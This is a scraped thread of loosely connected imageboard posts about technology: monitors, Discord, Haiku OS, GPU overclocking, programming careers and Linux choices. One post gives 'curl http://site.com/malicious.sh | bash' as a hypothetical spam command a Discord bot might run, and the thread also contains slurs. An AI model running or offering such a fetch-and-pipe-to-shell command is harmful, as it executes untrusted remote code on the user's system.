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>>57521056
same goes for 1080p displays

Go to the store and look at them. Your question is exactly why they have them all out on the floor.

>>57521056
Once Sony throws their OLED tech into the consumer market it'll be the best. Right now their panels aren't the greatest but not bad either. Still their other features tend to make up for the absolute shit that is Korean TVs/monitors.

>>57520915
I used to be excited about what the future would bring.

Now I just imagine how each new thing is going to be a security and privacy nightmare, or a pointless vaporware project raved about by nutcases, like everything Elon Musk does.

>>57521214
Elon Musk is a visionary and there always are bound to be some nutcases who oppose his innovations.

What the fuck is 4D printing?

>>57520878

That handsome looking fellow is a national treasure. I hope you clapped after the movie.

>>57521079
jesus christ, could anyone do anything more autistic?

>>57521154
they could have fapped after the movie

Why does everyone like discord so much?

Also wouldn't this lead to people spamming [script]curl http://site.com/malicious.sh | bash

>>57520861
>Why does everyone like discord so much?

irc for babbies

>>57520873
It's more like slack for casuals honestly.

>>57520861
It will only run commands from a given user list, so it'll probably be safe from such a direct attack

>>57520781
First for D

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Friendly reminder that a purely functional programming language by definition cannot touch stdin/stdout.

Whats the easiest way to make an infinite print in python that will never stop even if someone does ctrl break/ctrl c? I remember my prof showing us once and the only way to stop it was thru task manager. Anyone know it? Just curious thats all.

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>>57520774

Here's my laptop. Getting old but still hanging in there.

>>57520820
How much did the SSD increase performance?

>>57520839

It's like night and day. It wasn't awful before installing the SSD, but when doing everyday tasks it feels like a fully modern computer. No lag whatsoever.

>>57520752
How the fuck did you land the job?

> small
> 900 machines

hope the pay is worth it anon

>>57520752
>900 computers
>small network

>>57520731
They did that a long time ago.

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>>57520731

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>>57521016
>kali linux

>>57520729
You can try that on your own, probably it won't have drivers for your hardware. Also, it's not stable. Do you want to join to beta-testers?
>inb4 Win10 users already are beta-testers
Does Haiku have enough software for you?

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>>57520729
It might not have what you need as an OS, or support your hardware.

>>57520729
disadvantages;
- less software
- less drivers
- not very stable

advantages;
- looks and feels like BeOS
- very fast

if it's got drivers for your machine and has the software you need, then give it a try, i would at least dual boot it with something else as well, though

Numbers for 1070/1080 are all over the place. Half the review sites claim 1070s cap at like 2050 core clock stable, while I dont know of a single person who was unable to stably run at least 2100, mine even runs on ~2150. Not sure about liquid cooling on them though since the voltage is still capped so you dont really have that much room to go beyond what you can achieve with air. But I guess it would cool better, since the 1080s easily hit 80 degrees.

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>>57520726
MSI 1080 EK GTX 1080 owner here.
the block doesnt increase the potential overclock because the Voltage is locked on Pascal.
the smaller chip doesnt like higher voltage.
i hit a wall at 2,120mhz

BUT you will see the MAX potential Boost clock almost 100% of the time.
my 1080 runs 1,987Mhz 99% of the time hovers around 34-37C and that's 100% stock settings.
(will go 2,012mhz when under 30C)

Another thing to look at is the temps.
the VRMS,Core,Vram, and pcb are all 1/3 the temp of an air cooled cards.
it will last WAY longer

EXAMPLE:
MANY HD5970s fried with air cooling, but the watercolor ones were fine 4+ years later

>>57522453
>randomly refresh page hours later and replies
That's actually the exact card I was looking at. You running a single radiator? I was planning on a loop like that also instead of the double radiator. With a 6700k.

The 1080 Ti is looking to be a fail pit for the $900 price people are talking about. Figure the thing to do is get a 1080 and oc.

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>>57520419

>Why aren't you using the best OS?

why aren't you?

>>57520438
Why is Mint so ugly?

>>57520438
>>57520419
>Best

>>57519963
Ruby

>>57519963
The degree might be useless, but knowing about networking is actually really useful. If you can get to a point where you can route anything anywhere you want, you'll be a veritable goldmine for companies.
Python isn't as much of a "beginners" language as people think. Google uses the shit out of it (seriously, Gmail runs off it).
It might not be as prevalent as Java, perhaps, but it's still useful. (Plus you can script the shit out of working.)
Best languages to learn would probably be Java, C# (if you're going into Windows dev work), or something that is used quite commonly in the industry. (Best thing to do in your position is to Google the most used languages in the industry and base your learning off of it.)
Also, don't limit yourself to just programming (unless you absolutely love it. Then pick a language and become a guru).
There's still security that you can look into (metasploit, nmap, breaking into computers halfway around the world), networking (firewalls, packet routing, packet manipulation, etc), machine learning (but that one will probably require you to know a language pretty well), databases (administrating, designing, etc.)
Look around. There's a lot of things you can try picking up in your free time. (That will make yourself even more marketable in the long run.)

>>57519963
Also, you can post on Reddit (here comes the ban hammer) if you want better advice than 4chan will give. (Dick faggot.)

>>57519953
Currently on Arch so that means systemd is unavoidable. I am considering Gentoo or Source Mage though. Also for BSD I imagine KDE would undeniably be the only way to go because no systemd.
It's fine to use the patches for GNOME I guess, but I'm uneasy about it, as it is moving away from what upstream prefers and isn't supported by developers as much as pure upstream.
>>57519992
No.

>>57520015
Because I had more to add to my post.

>>57519992
Cancerous plague

shameless bump

Buy it fag

>>57520066
no u

Also, working on a JS version and an nojs version. Will post updates and links as I complete features If anybody is interested.

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>>57519709
I don't know why I wanted your opinion.